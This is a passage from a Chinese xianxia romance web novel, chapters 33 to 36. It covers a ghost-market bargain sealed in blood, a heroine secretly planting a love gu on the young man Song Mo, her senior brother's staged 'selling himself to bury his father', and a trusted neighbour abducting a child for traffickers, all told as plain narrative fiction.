华元洲轻笑出声,“别急,我现在还不想要你的命。待时机成熟,我自会来取。”
“好,多谢。”
事情的发展似乎更诡异了。
“你想要的那三件神物,我只知其下落,还尚且不知如何取得。三日后,我会派人将答案告知于你。”
鬼市只在每个月的十五夜,错过今晚,就要再等一个月了。届时,隐月楼还让不让她进,能不能见到华元洲都说不定。
温禾害怕对方抵赖,蹙起眉头,“那万一……”
未等她说完,华元洲就打断道:“没有万一。隐月楼行事,向来有诚信。”
他广袖一挥,半空中突然浮现一张泛黄的卷轴,稳稳落在温禾手中。卷轴上血色文字浮动,散发着淡淡腥气。
“血契,滴血为誓。若我违约,魂飞魄散。”
温禾嗫嚅道:“也不用下这么狠的誓……”
疑心散了大半,她咬破指尖,鲜血滴落的瞬间,卷轴上的文字骤然亮起刺目的红光。华元洲也划破手指,两滴血在纸上交融,最终化作一道金线将卷轴封印。
华元洲眯起那双狐狸眼,笑得更开心了。他转向宋默,“你的问题很简单,就当作是这笔买卖的赠品送你。”
“你想问你妹妹的下落是么?”
“嗯。”
“啊……”华元洲有些好奇宋默的选择,“那你想先听好消息,还是先听坏消息啊?”
宋默一向喜欢先知道最坏的可能,好让其他坏事显得简单。
他不假思索道:“坏的。”
华元洲笑着故意拖长时间,吊人胃口,“坏的啊……”
“你妹妹已经死了。不过你查的不错,下葬的尸体确实不是她,她的尸体已经被野狗分食了。”
宋默脸上隐隐已有怒气,他克制着颤抖的声线,继续追问:“那好事呢?”
“好事不就是你不用去收尸了啊!人都被吃完了,还用得着入殓么?”
华元洲似乎有意惹怒宋默,言语间都在故意激怒。闻言,宋默脸上爬上青筋和怒火,温禾心里暗骂一句神经病,手悄悄抚摸少年的脊骨顺毛。
“开玩笑的。”华元洲意识到玩笑有些过头,“好了,这次是真的。好消息是我可以告诉你,这件事谁是主谋。”
“谁?”宋默的声音有些哑,如同一捧干柴。
华元洲失神,在温禾宋默看不到的地方,他眼前在不断回溯事件的来龙去脉,就连细节都如此清晰。
他喃喃道:“那孩子的奶娘和一个爱穿红衣的女人做成了交易,只要十两银子,她就答应了把那孩子推进湖中伪装成溺死。”
“但是她转念一想,十两还是太少了。为什么不把孩子假装溺死后,再转手卖给人牙子换第二笔钱呢?”
“那孩子不听话,饿了几天,被转手送给了一个男人。”好像看到了某些恶心的画面,华元洲皱眉,“然后,死了。”
他的话说得不清楚,但宋默一颗心沉下去,他听得却明明白白,比任何时刻都要明白。
33.拉勾
好像下了一场无影踪的大雨,少年浑身湿答答的,眼眶里落满雨水。
他又问了一遍,嗓音嘶哑,每个字都像是齿缝间挤出来似的。
“他……是谁?”
“小师妹!小师妹!”
就在这当口,温禾的识海里突然炸开三师兄林青时的声音。自从进了京城,这位三师兄就跟人间蒸发似的,任她怎么呼唤都不见回应。此刻却像头倔驴般,在她识海里扯着嗓子嚎:“小师妹,你咋不理我?”
识海里传来一声撕心裂肺的喊叫:“小师妹——!”
那声撕心裂肺的呼喊震得温禾脑仁生疼。她强忍着把三师兄揪出来暴打的冲动,突然捂住肚子弯下腰:“嘶……”
“肚子好疼,能……找人带我去方便一下吗?”
所幸宋默的注意力一直在凶手那里。华元洲意味深长地瞥了她一眼,却没多问,随手召来一个替偶。
替偶提着青灯引路,温禾跟着它七拐八绕,直到确认远离那间屋子,才一把按住太阳穴,“别喊了!林青时,你发什么疯!”
“哎呀,小师妹,你可算理我了!”林青时的声音里透着股儿欢脱劲儿,“我跟你说……”
替偶突然停下脚步,纸白的脸转向她,黑洞洞的眼睛直勾勾地盯着。温禾后背一凉,赶紧装作腹痛难忍的模样,跟着它继续往前走。
她压低声音警告:“先别说话。”
替偶能够直接链接主人的神识,保不齐她和林青时此刻的一言一行都在华元洲的监视之下,完全没有隐私。
温禾语气凝重,好在林青时平日虽然虎,但关键时候还是个正常人,闻言果立刻噤声。
提欧引着她来到一处偏僻的厢房。温禾刚一扭身进去,却发现它竟要跟进来,连忙抵住门缝。
“就送到这儿吧,待会儿……臭,就别进来了。”想起等会还要让替偶引路,她又补了一句,“等我一会就好。”
然后立马合上门,温禾快走到最里侧,“师兄?”
“现在可以说话了吗?”林青时怯生生地问道。
头顶飞过三只乌鸦,温禾扶额没好气道:“快说!”
“师妹,这过去几天了?”
“五日,整整五日没见你吱声了。”
“什么!?”林青时发出一阵惊呼,“大师兄这安神丹也太厉害了吧!”
温禾嘴角抽搐,“你乱吃什么药了?”
识海里传来一阵翻箱倒柜的响声,过了好一会,才听林青时讪讪道:“呃……”
“包装上写着……提神醒脑?”
“……”
林青时尴尬笑笑,“太无聊了嘛,哪知道大师兄的丹药都这么实物不符……”
“对了!”总算想起正事,林青时突然正经起来:“师妹,你现在在哪儿?不是在宋府么?”
“鬼市,找神物的线索。”
“那你把那小子带来做什么?”
闻言,温禾把这几日发生的来龙去脉简单描述了一下,包括宋默妹妹的惨案。林青时听完咂舌,最后发出一声感慨。
“这豪门世家的恩怨比话本还精彩……”
温禾没说话,她想着也说得差不多了,正欲离开,却听林青时突然急得诶诶诶。
心里本就乱糟糟的,温禾说话的语气更不好了,“又怎么了?”
“记得找机会再给那小子下蛊!就我之前给你说过的!”
温禾脚步一顿,推门出去。
*
华元洲兴致盎然地观察着宋默的反应。
他最喜欢看人们在得知真相后的崩溃模样,或歇斯底里,或懊悔不已,或痛不欲生。
他站在顶楼,看过许多人的执念,但仍旧乐此不疲。
他就是这般恶劣的人。那些痛苦的情绪,于他而言是最美味的养料。
所以,他等着汲取宋默身上的痛苦。
少年表情平静如水,但胸腔里翻江倒海,不断颤抖的肩膀出卖了他,藏在桌下的手掌紧攥成拳头,指甲深深嵌入血肉里,鲜血顺着指缝滴落,以自虐的疼痛感来保持冷静。
“何必忍耐?”华元洲摇着扇子不解地问道。
少年双唇紧抿,一言不发。
华元洲颇感稀奇,他饶有兴味地凑近:“想报仇吗?凭你一己之力,怕是难如登天……”
他故意拖长音调,从书柜里取出一卷泛着黑气的契约,“签了这个,我帮你。”
契约在宋默眼前徐徐展开。
少年死寂的眼眸突然闪动,目光落在那卷轴之上,隐隐燃起欲望的火苗。
“这是一笔很划算的买卖,不是么?”
宋默缓缓抬起手,指尖正要接触到时,只听一声脆生生的,“不可以!”
温禾猛地闯进来,一把将华元洲手中的卷轴打翻在地。
华元洲不怒反笑,眼神略过温禾,意味深长地看着宋默:“无妨,这样的契约,我多的是……随时恭候。”
温禾也不管三七二十一,拽起宋默就往外走。她害怕再待下去,宋默就要被蛊惑成功,签下那卖身契。
华元洲也不为难他们,替偶在门口候着,见他们出来,主动提着灯笼为二人引路,青色的火光在浓雾中若隐若现。
一路上,宋默异常沉默,一言不发地跟在温禾后头。少女紧紧攥着他的手,在浓雾里横冲直撞,直到踏出隐月楼的大门都没有分开。
好像生怕他下一秒就消失不见。
少年的掌心冰冷,不像个活人,却又死死回握着,仿佛那是落水者唯一能够
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攀附的浮木。
温禾能感觉到他掌心传来的颤抖,知他如今心乱如麻,也不出声打扰,沉默着带他走出去。
夜色低垂,今夜无风也无星。回到听竹院时,月光恰好穿过云层。
他们牵了一路的手,掌心微微渗出薄汗也无人提出分开,就这么一直走到听竹院。
少年脸上还带着面具,看不清脸上的表情,露出的眼睛依旧黑沉沉的。
温禾想看看他的脸,伸手摘下了他的鬼面。
她想过面具下少年的表情,应该是淡淡的,就像虎牙山上她常见的那样,对一切都像淡漠如水。
可那张苍白的脸上,有一双会流泪的眼睛。
她还是第一次看见宋默哭泣的表情,没有皱眉,没有瘪嘴,没有任何多余动作。
就像一根木头在流泪。
她少年安静地站在那儿,任由她用指尖擦拭掉他的泪水,又湿又热的触感在手中漾开。
宋默抓住那只为他拭泪的手,面无表情地赶客,“你走吧。”
走吧,收起你的好意,不要再回来。
他在心里默想,却没有松开手。
“我不要,我要留在这里。”
温禾一扫眼,突然发现少年掌心的掐痕,血迹已经凝固,她反握住他的手,从怀里掏出绣帕轻轻擦拭。
宋默想要抽走,她抓得更紧。
“留在这里干什么?”
“怕你想不开,要寻死。”温禾头也没抬,认真检查伤口,错过了少年的表情。
“我不会。”
“骗子。上次见你还拿根破布条子要去上吊呢,撒谎的人死了得给阎王爷磕头。”
心里某一块地方好像被砸了一下,宋默沉默良久才问道:“你怎么知道?”
“我就是知道啊。”温禾放下手,叮嘱道:“晚上给你的药膏,记得都抹上。能不能别总是把自己搞得一身伤?难看死了。”
“还有……”
少女絮絮叨叨的,宋默却不觉得烦。他刚哭过,眼眶红红的,虽然一副死人样,但显得更像是个倔强倨傲的小可怜。
温禾大着胆子捧住他的脸,捏了捏两颊,“反正,我不准你死。”
就算死,你也得死在我手里。
下一句她没敢说。
宋默怔怔地望着她,喉结滚动,说不出话来。少女的掌心温暖柔软,带着令人安心的味道。
他本该推开,却鬼使神差地闭上了眼。
良久,他才听见自己说。
“好。”
“那拉钩?”温禾摆出姿势,等着宋默伸出手送上来。
她从周天袋里取出的蛊虫蠢蠢欲动,同她的心跳一样。她深深呼了一口气,展颜笑道:“拉钩,说好的,不准变。”
34.罚抄
宋默低垂着眼睫,看着少女朝他伸出的手指。那纤细的指节微微弯曲,颇有耐心地等待他上钩。
思绪纷乱,他不明白为什么应幼兰好像变了一个人,收起那副高高在上的样子,总是一而再再而三地招惹他。
就在他迟疑的瞬间,温禾突然抓住他的手,强硬地掰开他紧握的指缝,将自己的小指勾了进去。少年还未来得及反应,一只通体粉红的甲虫已从温禾袖口悄然爬出,顺着手腕飞快地爬向他的指尖。
轻微的刺痛感转瞬即逝,那只粉色甲虫突然化作一缕轻烟消散在夜色中。
宋默眨了眨眼,怀疑自己是否看错。
“怎么了?”温禾歪着头问,眼底闪过一丝不易察觉的紧张。
宋默摇摇头,只觉得方才看到的地方有些发热,他下意识地摩挲指尖,那里看不出任何痕迹,却莫名让他感觉有些奇怪。
温禾亲眼看着情蛊消失,奇了怪了,怎么跟三师兄说的不太一样,没差别啊?
她压下疑惑,又从袖中取出一个精巧的檀木匣。匣中静静躺着一对金灿灿的蛊虫,一大一小,周身环绕着奇特的流光。
“这是我在隐月楼里找到的金丝蛊,”她半真半假地解释,“据说能让两个人心意相通。这样以后无论你在哪,我都能找到你。”
宋默眸光微动,“为什么要找到我?”
“担心你啊。”这句话是真心的,温禾仰起头,眼中真挚,“怕你想不开又做傻事。”
见少年沉默不语,她失落地合上匣子,“你若不愿……那就算了。”
“好。”
“什么?”
“试试。”
少女的神色顿时晴朗起来,她笑嘻嘻地打开匣子,仔细解说:“这个叫什么金丝蛊,分为母子两只。你拿这个……”
她将稍小的子蛊捉给宋默。
“你服下子蛊,我服母蛊。这样无论相隔多远,我们都能感应到彼此。”
月色之下,两只蛊虫身上的金色纹路若隐若现。温禾捏起母蛊,正要往嘴里塞,却见宋默突然扣住了她的手腕。
“应幼兰。”
宋默很少连名带姓地唤她,一般都以表妹来称呼。突然被叫全名,温禾瞬间紧张起来。
“怎……怎么了?”
少年倏地倾身靠近,鼻尖几乎贴着她的,那双黑漆漆的眼睛里多了一些其他的情绪,目光灼灼地想要看穿她的目的。但除了萦绕鼻尖的淡淡药香,他什么也没发现。
“不要骗我。”他声音很轻,却重若千钧。
说罢,他毫不犹豫地吞下子蛊,目光却始终锁着温禾,直到确认她也服下母蛊。
刹那间,二人手腕内侧同时浮现出一道金线,如活物般游动缠绕。心脏传来奇异的抽痛感,宋默不自觉地按住胸口。
心似乎要跳出胸腔。
越靠近温禾,这种感觉就越发强烈。
于是他往后退了几步,二人拉开了一些距离,那悸动果然缓和了一些。
因为是她吗?
他看向温禾,少女似乎没有任何感觉,反过来疑惑地问他:“怎么了?”
“……没事。”他转身推开院门,“时候不早了,回去吧。”
该做的事情也做完了,温禾也没有留下的必要。若是宋默真的有什么动作,她随时都可以依靠金丝蛊找到他。
“好,”她点了点头,“那我就先回去了,我们明天再见。”
宋默没有回答,假装平静地关上门将少女的模样挡在门外,靠在门板上缓缓滑坐在地。掌心下的心跳震耳欲聋,怎么压都压不住。
他突然意识到,自己怕是……
真的栽了。
“成了吗?”一回到听雪院,周天袋里的林青时就迫不及待地问道。
“大概……吧?”
她摸着胸口,金丝蛊带来的心跳共振感还清晰可辨。但那情蛊……
完全没反应啊!?
“三师兄!你给的情蛊怎么一点反应都没有?就冒了股烟!”
林青时在周天袋里翻到一张大饼,他好几日没进食,因而啃得格外香。
“唔……”林青时一边嚼嚼嚼,一边含糊不清地回答,“诶,这个蛊虫我还没找到人实验,应该是对的吧?”
“这不是你炼的蛊吗!?”
闻言,温禾崩溃大喊:“林青时,你能不能靠点谱?”
有点噎,林青时打了个嗝,“哎呀,时间太赶了嘛!应该是能用的,嗯……”
“安啦安啦。情蛊有没有都一样,反正我看那小子好像对你也……”
“闭嘴!”
啃完大饼,嘴里发干,林青时又摸出水壶灌了口水,试探着询问:“师妹……你啥时候把我放出来啊?总不能一直呆在里头吧,我都要发霉了!里面好无聊,我好饿好渴啊……”
“这不得找个由头,给你安排个身份吗!”
说到这件事,温禾就发愁。一开始林青时提出要跟着一起回溯的时候,师兄师姐们都觉得很荒谬。但林青时信誓旦旦地说跟着来,一定能给温禾帮上忙,好好保护小师妹。
忙没帮上,还要给他安排个合理的身份。可应幼兰一介孤女,上哪儿突然冒出来一个表亲啊?
别说宋府的人会不会起疑心,光是她身边的侍女巧灵那关都过不去。
温禾躺在床上想着解决办法,快要睡着的时候,只听林青时在识海里大声地“诶”了一声。
“师妹,我知道了!我想到办法了!”
温禾一个激灵起身,“大半夜的你……”
“我可以……”
林青时一脸兴奋地说完自己的高见,等着被小师妹用崇拜的眼神看着表扬一番。
等来的却是。
“滚!”温禾一把将周天袋扔到墙角,“睡觉!再吵你就别活了,林青时!”
*
翌日,天朗气清,是个适合睡觉的好天气。
忙碌了一晚的温师傅睡的很香,全然忘记了林宛筠给她找了傅母教导礼仪,每日辰时准时上课。
巧灵连着叫了她三回,都没喊起来。
看着身旁脸色不佳的江嬷嬷,巧灵颤抖着手又敲了敲门,“小、小姐?”
“别吵……我再睡会儿……”做了个美梦,温禾挠了挠肚子,迷迷糊糊翻了个身。<
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砰。
房门被猛地推开。江嬷嬷阴沉着脸大步走到床前。
“表小姐,”她声音冷得像冰,“老奴没记错的话,辰时的课业,您该是记得的?”
温禾瞬间惊醒,她猛然坐起身,被子滑落,露出皱巴巴的寝衣。
“我这就起……”温禾手忙脚乱地去抓外衫,却被江嬷嬷一戒尺打在手上。
“巳时已至,今日课业取消。老奴这就去禀报夫人,表小姐身子不适,需要静养。”
最后两个字咬得极重,温禾顿时打了个寒颤。
“嬷嬷且慢!”她慌忙跳下床,光着脚就追了上去,“我知错了!这就更衣上课!”
江嬷嬷停下脚步,戒尺在手中轻拍,“既如此……老奴就再给表小姐一次机会,半刻钟,过时不候。”
待房门关上,温禾长舒一口气,哭丧着脸让巧灵帮忙更衣。
这深闺小姐的日子,真不是人能过的……
江嬷嬷教授的课业主要是女德。早上读《女诫》,强调三从四德,贞静柔顺。午后学习家规礼法,掌握尊卑礼仪、孝道伦理,大部分都是宫里的规矩。结束后还要布置作业,这些东西学得温禾一个脑袋两个大,就连晚上做梦都梦见自个儿在抄书。
窗外蝉鸣聒噪,屋里闷得让人透不过气。今日本就没睡够,江嬷嬷又在讲某位女德榜样的故事,温禾听得昏昏欲睡,撑着脑袋一晃一晃的。
戒尺猛地砸在桌上,江嬷嬷冷哼道:“表小姐的学习态度,老奴不敢恭维。既然老奴说的,小姐不愿意听,那便抄书吧。”
温禾立马坐直,“我在听呀,我在听呢。”
“《女诫》抄十遍,明日上课,老奴要检查。”
听完这话,温禾嘎巴一下就要死了。深吸一口气,微笑着应下。她要是敢反抗,这老虔婆还能让她多抄上几遍。
没休息好,又被气了一通,温禾当下就咳嗽起来。
蕙香赶紧端了药来让温禾喝下,她这病是好不了的,只能时时刻刻备着药止咳。
见状,巧灵心疼地看着自家小姐,求情道:“嬷嬷就放小姐一马吧。”
江嬷嬷轻轻瞟了一眼,“这是规矩。既然夫人请老奴来教导表小姐,老奴自然不能辱命。”
温禾喝下药,感觉舒服许多,她摆摆手让巧灵不必再求情。
“嬷嬷继续吧。”
她与林青时有约定,看了眼日头下落,时间快到了。但愿这老虔婆能说的快一些,准时放课,不要拖堂。
京都正阳大街上,人流如织。
一个少年跪在地上,来往行人都被他俊美阴柔的容色吸引,不自觉驻足。
侯平绿掀起车帘,只见青石板路上跪着个少年。他身着靛青粗布衣衫,却掩不住通身的异域风华。细长的凤眼似含秋水,薄唇如琢玉般莹润。最引人注目的是他颈间悬着的那块木牌,上面歪歪扭扭写着:
“天可怜见,卖身葬父。”
目光挪到那张脸上,少年抬眸的瞬间,侯平绿心跳骤然漏了一拍。
“停车。”
她鬼使神差地吩咐车夫停下马车,朝那名少年走去。
35.他她他她他
长阳大街上,林青时跪得膝盖发麻,心里正嘀咕着小师妹怎么还不来。他垂首看了眼挂在脖子上的狗牌,暗自窃喜,不愧是自己,想到的办法总能出其不意。
“当啷”一声,一锭明晃晃的金子砸在他跟前。
“本郡主买了。”
林青时抬头,只见一袭锦绣罗裙的少女站在跟前,裙摆上金线绣的牡丹在阳光下晃得人眼花。侯平绿看清他的面容后,突然结巴起来:“一、一锭金子够不够?不够我还有!”
少女的姿态高傲,林青时一眼就看出她身份不凡,是泡在蜜罐子里长大的贵女。
郡主?
又是哪个皇亲贵胄。
他捡起金锭,在手里掂了掂,突然一扬手扔了回去。
“不卖。”
“诶!?”
侯平绿没想到出来卖的还要挑主人,她手忙脚乱地接住金锭,气得跺脚,“你一个卖身的还挑上了!”
她身后的亲卫都是百里挑一的高手,随时等着她发号施令。
侯平绿一摆手,昂起下巴,“今日本郡主要定你了!”
说着,又从袖中掏出一把金叶子,“这些总够了吧。”
林青时慢悠悠地站起身,拍了拍膝盖上的灰。他比侯平绿高了大半个头,俯视着她道:“我说不卖就是不卖,这不是钱多钱少的问题。”
“那是什么?”
“郡主殿下,是人的问题。”
闻言,侯平绿一张俏脸涨得通红。
她长这么大,何曾被人这般戏弄过?永宁王府的掌上明珠,生来就是身份尊贵,从来都是要风得风要雨得雨。
眼前的异域少年还是第一个敢拒绝她的。
但她侯平绿想要的,还从来没有失手过。
“哼。”侯平绿气得跺脚,杏眼圆睁,“你敬酒不吃吃罚酒!”
说罢,她纤手一挥,身后侍卫立即呈扇形围了上来,腰间佩刀猛然出鞘半寸。
林青时被逼得节节后退,嘴上却不饶人:“哟,光天化日之下,郡主这是要强抢民男啊?”
他眼角余光扫视四周,暗自盘算着脱身之策。他并非是害怕这些人,一个修士,再如何废柴也与凡人有壁,区区几个凡人他还是能打过的。
但这在这里暴露身份,对他而言没有好处。
“早从了本郡主,哪来这么多事?”
侯平绿见他退无可退,得意地扬起下巴。阳光照在她明媚的笑脸上,露出一颗小虎牙,娇蛮中透着几分天真可爱。
林青时忽然站定,似笑非笑地看着她:“郡主真要如此?”
“怎么,怕了?”侯平绿挑眉。
“怕?”林青时轻笑,突然一个闪身,就从侍卫包围的缝隙中,像只灵活的老鼠溜了出去。
突如其来的变化打得侯平绿和亲卫们一个措手不及,她指着林青时逃走的方向,“给我追!今日非给我逮到他不可!”
*
日暮时分,距离与三师兄约定好的时间过去了有半个时辰。
温禾只能提着裙摆加快脚步,巧灵小跑着跟在她后头,实在不懂小姐今日有何急事这般着急。
下一秒,迎面突然撞上来一个靛青少年。
两两相撞之际,少年“扑通”一声跪在地上,紧紧抱住了温禾的腿,声音凄切,“小……小姐,救我!”
温禾低头一看,差点没背过气去。
来人不是别人,正是她那不靠谱的师兄。
只见林青时跪在地上灵活地挪到她身后,探出半个脑袋,指着追来的人群。
“他们要强抢民男!”
温禾看了看气势汹汹朝他们而来的侍卫,又看了看林青时,发出心底的疑惑:“你?”
她挑眉,上下打量着自家师兄。衣衫凌乱,小辫子散开了好几条,活像个被恶霸追赶的小媳妇。
“给我站住!”
不远处,娇小玲珑的少女恼羞成怒地指着他们。
温禾眯起眼睛,看着林青时装模作样地往自己身后缩,忍不住压低声音:“师兄,才一个下午,你就惹了风流债?这又是哪一出啊?”
林青时冲她眨眨眼,用只有两人能听见的声音道:“我可什么都没做!小师妹你配合一下,回头我请你吃烧鸡。”
温禾无奈地叹了口气。
侯平绿带着侍卫呼啦啦冲到跟前,还没站稳就听见林青时带着哭腔喊道:“小姐救我啊!”
他死死拽着温禾的衣袖,眼眶说红就红,“我虽穷得叮当响,不得已才卖身葬父,可我也是有骨气的……”
温禾见了由衷感叹,师兄演技真好。她强忍着翻白眼的冲动,配合地点头嗯嗯,“你说的都对。”
“可是这位贵人不由分说地就要将我掳去,天底下还有没有王法!”
“没有。”温禾脱口而出,随即意识到说漏嘴了,赶紧改口,“有的有的,王法大大的有。”
林青时暗中掐了她一把,继续声泪俱下:“小姐您行行好,把我带走吧!”
他突然举起三根手指,“我发誓,给您当牛做马都行,暖床也……”
“咳咳!”温禾猛地咳嗽打断,听这浑话耳根子都红了。
她压低声音咬牙切齿道:“师兄你适可而止一点。”
侯平绿狐疑地看着他们俩,“你们认识?”
“不认识!”两人异口同声。
林青时立刻戏精上身,死死抱住温禾的腿,一把鼻涕一把泪地哭嚎:“求您发发慈悲收留我吧!”
“诶……”温禾尴尬得脚趾抠地,一抬头正巧瞥见人群中的宋默。少年抱臂而立,嘴角噙着若有若无的笑,见她看过来还促狭地挑了挑眉。
他怎么在这?
不知少年来了多久,又看了多少。温禾朝他做口型:“帮、我。”
宋默歪了歪头,装作没看懂的样子。
正当二人你来我往地眼神交流时,被长久忽视的少女精致眉眼染上怒气,拔高音量道:“把他给我!”
小郡主的年岁与应幼兰相当,同样稚气的脸上两团软肉粉红,气嘟嘟的,生起气来也煞是可爱。
对漂亮的人温禾一向没什么脾气,语气不自觉软了几分:“郡主殿下,强扭的瓜不甜,您何必要强人所难呢。”
“管的着吗你!”
侯平绿如今正气得脑袋疼,完全听不得其他人的话,而且在她眼里,是温禾抢走了她心爱的东西,更是气恼。
“你知不知道我父亲是谁!”
“不……”
“幼兰?”
一道温润的男声从马车里传来
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。宋明义撩开车帘,目光在众人身上转了一圈,最后落在温禾身上。他优雅地下了马车,先向侯平绿行了一礼:“郡主安好。”
“明义哥哥。”
宋明义点了点头,转头看见还抱着温禾大腿的林青时,宋明义眼中闪过一丝诧异:“这位是……”
“半路捡的。”温禾干笑。
宋明义看了眼林青时脖子上挂着的狗牌,瞬间了然。他轻咳一声,转身向侯平绿深深一揖,声音温润却带着不容置疑的力道:“郡主殿下千金之躯,当街与一个……”
他顿了顿,似在斟酌用词,“下人纠缠,实在不妥。若传到永宁王耳中……”
侯平绿闻言身子一颤,方才还骄纵的小脸瞬间失了血色,下意识环顾四周。她虽是永宁王的独女备受宠爱,但永宁王却也十分严厉。听到宋明义将自己父亲搬出来,仿佛感觉到父亲的眼线正在周围,将自己丑态一字不落地记录下来。
再看向林青时时,只见少年目光灼灼只盯着温禾,连个眼风都不曾给她。这认知让她心头一刺,眼眶顿时红了。
宋明义将一切尽收眼底,不动声色地转向温禾,语气柔软:“幼兰既然心善,不如就让他到府中做个门房?”
本来还愁着找个什么借口带进宋府,这下天降横财,林青时顿时眼睛一亮,看这位宋家大公子的形象突然高大起来,做戏做全套,立刻对着宋明义连连叩首。
“多谢公子,多谢公子。”
宋明义却没看他,直直看着温禾,“幼兰觉着呢?”
温禾顺坡下驴:“嗯,那就留下吧。”
在一旁目瞪口呆的巧灵总算回过神来,小心翼翼地用脚尖碰了碰还在装模作样磕头的林青时,“喂,别磕了……”
侯平绿看着这一幕,攥紧了手中的帕子。她张了张嘴想说什么,最终只是狠狠瞪了温禾一眼,转身带着侍卫离去。
戏落散场,人群散开去。
独留下宋默一人还站在原地。
宋明义终于看见了他同父异母的兄弟,若无其事地寒暄:“三弟,好巧。你怎么也在这儿?”
宋明义温声招呼,却换来少年一声冷笑。
少年面露嘲讽,眼神直勾勾地盯着温禾,声音里淬着寒冰,瞥也没瞥宋明义一眼,“那还真是不巧。”
温禾别过脸去,故意不去看他。方才求援被拒的委屈化作赌气,她仰头对宋明义软声道:“明义哥哥刚从书院回来么?”
“嗯,正好路过。”宋明义体贴地为少女拢了拢披风,“走累了?”
“是啊,腿都酸了。”
只是简单日常的一句话,在宋默耳中却是少女温声软语地向人撒娇。
“坐我的马车回去吧。”
“好,那就麻烦明义哥哥了。”
温禾挽住宋明义的手臂,故意提高声调。眼尾余光却忍不住往宋默那边瞟。只见少年脸色愈发阴沉,她心头莫名一颤。
车帘垂落的瞬间,于缝隙中,少年的身影如青松般笔直地立在原地,日暮将他的影子拉得修长而孤寂。在人来人往的长阳大街,显得格外醒目。
另一辆马车里,少女猛地撂下车帘,她咬着唇瓣,指尖死死攥着绣帕,突然冷声开口,“去查。”
“把她的底细给我查个底朝天。”
36.县令
芳姨是新乡远近闻名的活菩萨。
她原名叫蒋存芳。虽已年过四十,眼角爬上了细纹,却仍掩不住那股子风韵。乌黑的发髻上只簪一支素银簪子,衬得肌肤如雪。
自从她那短寿的丈夫过世后,蒋存芳便深居简出,平日里只爱在家中侍弄花草,不怎么出现在人前。
可新乡县的孩子们还是最喜欢芳姨。因为她总是和和气气地从怀中掏出油纸包,见着孩子便眉眼弯弯地招手:“来芳姨这儿,有糖吃。”
谁家孩子若是挨了打骂,头一个想到的便是往芳姨家跑。待到暮色四合,听见爹娘寻来的呼唤,芳姨便会牵着孩子的手,柔声细语地将他们交还到父母手中。
小阿芙接过蒋存芳递过来的饴糖,甜甜地道谢:“谢谢芳姨!”
蒋存芳蹲下身,温柔地摸了摸小女孩的脑袋,又轻轻捏了捏她嘟起的圆润脸蛋,“阿芙可告诉过爹娘,来芳姨这儿了?”
小阿芙摇摇头。
她今日打碎了家中的瓷碗,害怕得紧,所以才一路跑来躲到芳姨家里。她走得也很小心,路上没碰见什么人,因而也没被什么人看见。
“那爹娘知道小阿芙出来了吗?”
“唔……”小丫头咬着糖块,想了想,又摇头。
爹娘今日去外祖父那里了,只留了她一个人在家。她跑出来的时候,爹娘还没回来,要天黑才回呢。虽然爹娘再三嘱咐她,一个人要当心,不要到处乱走,凡事芳姨这儿定是比哪儿都安全呢!
“阿芙乖,那今晚就住在芳姨家,好不好?”蒋存芳从油纸包里又拿出一颗琥珀色的饴糖,在阿芙眼前晃了晃。
小丫头爱吃糖,看见饴糖便两眼放光,顺从地点点头,张嘴就要含下那颗糖。
“阿芙——”
院子外忽然传来爹娘心急如焚的声音。
听到父母的声音,阿芙立马站起来,一个侧身,蒋存芳手里的饴糖“啪嗒”掉在地上。
“爹!娘!”
蒋存芳看着裹了一层灰的饴糖,挂在唇边的笑容一僵,和煦如春的脸上闪过一丝阴狠,弯腰拾起脏了的糖块,
“阿芙要去哪儿?”
小丫头扒着门框回头,正撞见芳姨背着光的脸。那总是弯着的眉眼此刻像两把钩子,吓得她打了个嗝,“我、我回家……”
“回家?”蒋存芳突然按住她肩膀,五指如铁钳般收紧。阿芙疼得缩脖子,却见平日温柔的芳姨露出森白牙齿,“不是说好今晚住在芳姨家吗?”
“阿芙!我的女儿,你在哪——”
呼喊声越来越近,阿芙为难地看着蒋存芳,不知为何,她觉得平素和善的芳姨好像突然间变了一个人,脸上的笑容也十分强硬。
“芳姨……”
蒋存芳猛地将人硬生生转了个方向,往屋内重重一推,小丫头趔趄着跌倒在地,磕破了膝盖,当即大哭起来。
她不明白为什么芳姨突然发火,哭喊着要爬起来,“芳姨,疼……”
却见蒋存芳从袖中抖出麻绳,穿过窗棂的月光打在那张素净的脸上,忽明忽暗的恶意,“阿芙,别怕……”
麻绳勒紧手腕,蒋存芳摸出块浸湿的白布,甜腻香气直冲脑门。
阿芙拼命扭动身子往后蹭,眼泪糊了满脸。
“芳娘?你在家吗?”
门外突然响起叩门声,阿芙浑身一颤,是阿娘!
她正要大声呼救,蒋存芳反手就是一记耳光。
“啪!”
巴掌落在脸上,火辣辣的,阿芙半边脸上顿时红肿起来,嘴里尝到血腥味。蒋存芳慢条斯理地揉着手腕,将浸了药的白布狠狠塞进她嘴里。
然后起身去开门。
门外李氏夫妇看见她,一脸焦急地询问:“芳娘,阿芙在你这儿吗?”
女人蹙眉摇摇头,柔声道:“阿芙不见了吗?”
“是啊,也不知道这丫头去哪儿了,四处寻遍了也没看见人。”
“诶……”蒋存芳想了想,“有人看到阿芙在哪儿了吗?”
李母抽噎着说没有。
“别急,”蒋存芳递上帕子给李母拭泪,不动声色地挪步挡住门缝,“许是贪玩忘了时间,我陪你们再找找?”
见孩子不在,李氏夫妇也不敢耽搁,匆匆道了谢,便转身而去。
待待夫妇俩身影消失在巷口,蒋存芳反手闩上门。
铜锁“咔嗒”一声扣紧。
她缓步朝着昏睡的孩子走去。阿芙小小的身子蜷缩在角落,呼吸微弱,脸颊上还留有鲜红的掌印。
蒋存芳蹲下身,指尖抚过孩子凌乱的鬓发,轻叹一声。
若不是近日实在物色不到好货色,她也不想对阿芙下手的。这孩子是她亲眼瞧着长大的,性格乖巧,长得又可爱。可是上头催得紧,她实在没法子了。
她盯着阿芙圆润的侧脸许久,终于从柜子底下抽出麻布袋。孩子软绵绵的身体被装进去,只留一个头露在外面呼吸。
等天色暗下来,她要去送货。
“阿芙……别恨芳姨……”她喃喃自语,正要扎紧袋口,忽觉颈后一凉。
“蒋存芳……?”清冽的少年嗓音在背后响起。
蒋存芳手一抖,袋口松散开来。她猛地回头,一个少年从黑暗中走出来,身着玄色,容色清冷,不知何时进的屋。
“你……你是谁?”
“我是谁不重要,你的主家是谁?”
少年手转着匕首,一步一步接近她。
蒋存芳踉跄后退,被逼到桌角,打翻了烛台。
退无可退,匕首的寒意在喉间游走,蒋存芳咽了咽口水,突然轻笑道:“那可不是你我能惹得起的人。”
*
夜阑人静,月如弯钩。
车轮碾过凹凸不平的路面,车上鼓鼓囊囊的麻袋随着颠簸微微蠕动。
